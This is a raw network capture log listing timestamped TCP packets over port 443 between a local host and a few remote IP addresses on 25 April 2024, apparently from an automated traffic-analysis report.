Apr 25, 2024 15:30:09.353280067 CEST	49716	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.353301048 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.353657007 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.353746891 CEST	49716	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.354355097 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.354456902 CEST	49716	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.354612112 CEST	49716	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.354669094 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.354773998 CEST	49716	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.354782104 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.386965990 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.387063026 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.387151003 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.387182951 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.387202024 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.387276888 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.405291080 CEST	49716	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.408145905 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.408214092 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.408277035 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.408298969 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.408313036 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.426537991 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.426590919 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.426644087 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.426656008 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.426742077 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.444740057 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.444763899 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.444863081 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.444875002 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.493304968 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.493360996 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.493460894 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.493482113 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.493530035 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.509427071 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.509509087 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.509545088 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.509557962 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.509573936 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.509608030 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.520055056 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.520389080 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.520447016 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.520983934 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.521063089 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.522080898 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.522161007 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.522566080 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.522660017 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.522701979 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.524144888 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.524195910 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.524245977 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.524255991 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.524297953 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.528397083 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.528474092 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.528481960 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.542627096 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.542671919 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.542733908 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.542742014 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.542777061 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.542813063 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.542867899 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.542876005 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.557190895 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.557235003 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.557285070 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.557292938 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.557316065 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.563317060 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.563352108 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.569747925 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.569776058 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.569832087 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.569839001 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.569900990 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.581185102 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.581212044 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.581302881 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.581310987 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.593641996 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.593693972 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.593725920 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.593734026 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.593799114 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.604552984 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.604628086 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.604648113 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.604667902 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.604718924 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.611356020 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.613590002 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.613616943 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.613658905 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.613667965 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.613704920 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.621702909 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.621723890 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.621771097 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.621778965 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.621826887 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.624404907 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.630481958 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.630506039 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.630578041 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.630585909 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.630630016 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.636671066 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.636679888 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.636704922 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.636744976 CEST	49716	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.636766911 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.636780977 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.636795044 CEST	49716	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.636826038 CEST	49716	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.637300014 CEST	49716	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.637315989 CEST	443	49716	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.638102055 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.638120890 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.638223886 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.638223886 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.638233900 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.646230936 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.646250963 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.646326065 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.646332026 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.646390915 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.646800041 CEST	49715	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.646811008 CEST	443	49715	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.650559902 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.650595903 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.650671005 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.650971889 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.650989056 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.806349993 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.806380033 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.806447029 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.806483030 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.806546926 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.826550961 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.826565981 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.826611996 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.826631069 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.826674938 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.826680899 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.826702118 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.826739073 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.826787949 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.847887993 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.847913027 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.847958088 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.848081112 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.848117113 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.848153114 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.875617981 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.876060009 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.876084089 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.876641989 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.877048016 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.877132893 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.877271891 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.897289991 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.924114943 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.928579092 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.928631067 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.928687096 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.928702116 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.928735018 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.946954966 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.946981907 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.947036028 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.947050095 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.947083950 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.966862917 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.966886997 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.966984987 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:09.967000961 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:09.967036963 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.009337902 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.009397030 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.024796963 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.024836063 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.024869919 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.024909019 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.024929047 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.024975061 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.038357019 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.038382053 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.038405895 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.038444996 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.038460970 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.038490057 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.040632010 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.040700912 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.040713072 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.055437088 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.055470943 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.055533886 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.055552959 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.055578947 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.068694115 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.068707943 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.068792105 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.068805933 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.070842028 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.070904016 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.070915937 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.085213900 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.085267067 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.085314989 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.085367918 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.085431099 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.099463940 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.099528074 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.099559069 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.099570036 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.099598885 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.112010956 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.112059116 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.112134933 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.112148046 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.112185001 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.113801956 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.113886118 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.113898039 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.113959074 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.113984108 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.114047050 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.114206076 CEST	49717	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.114233017 CEST	443	49717	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.144141912 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.150187016 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.150285006 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.150325060 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.171020031 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.171041012 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.171113968 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.171125889 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.215300083 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.253200054 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.253223896 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.253345966 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.253362894 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.253412008 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.272315025 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.272341013 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.272423983 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.272427082 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.272469044 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.272506952 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.293766022 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.293792009 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.293843031 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.293854952 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.293885946 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.310583115 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.310600042 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.310693026 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.310703993 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.316705942 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.316772938 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.316781998 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.316838980 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.368200064 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.368241072 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.368321896 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.368330956 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.368411064 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.382878065 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.382920980 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.383058071 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.383065939 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.383110046 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.396752119 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.396785975 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.396913052 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.396919966 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.396970034 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.399204969 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.399306059 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.414834976 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.414869070 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.415009975 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.415019035 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.426239014 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.426270008 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.426357031 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.426367044 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.426422119 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.428330898 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.428412914 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.442228079 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.442251921 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.442377090 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.442385912 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.454734087 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.454760075 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.454901934 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.454911947 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.466134071 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.466150999 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.466322899 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.466332912 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.468020916 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.468086958 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.468096018 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.479312897 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.479335070 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.479456902 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.479465961 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.479521990 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.488199949 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.488215923 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.488301039 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.488310099 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.497440100 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.497458935 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.497560024 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.497575998 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.501317024 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:10.501449108 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.501578093 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:10.501851082 CEST	49721	443	192.168.2.16	172.253.124.147
Apr 25, 2024 15:30:10.501888990 CEST	443	49721	172.253.124.147	192.168.2.16
Apr 25, 2024 15:30:10.506982088 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.506994963 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.507065058 CEST	49720	443	192.168.2.16	18.244.197.147
Apr 25, 2024 15:30:10.507074118 CEST	443	49720	18.244.197.147	192.168.2.16
Apr 25, 2024 15:30:10.514249086 CEST	443	49720	18.244.197.147	192.168.2.16
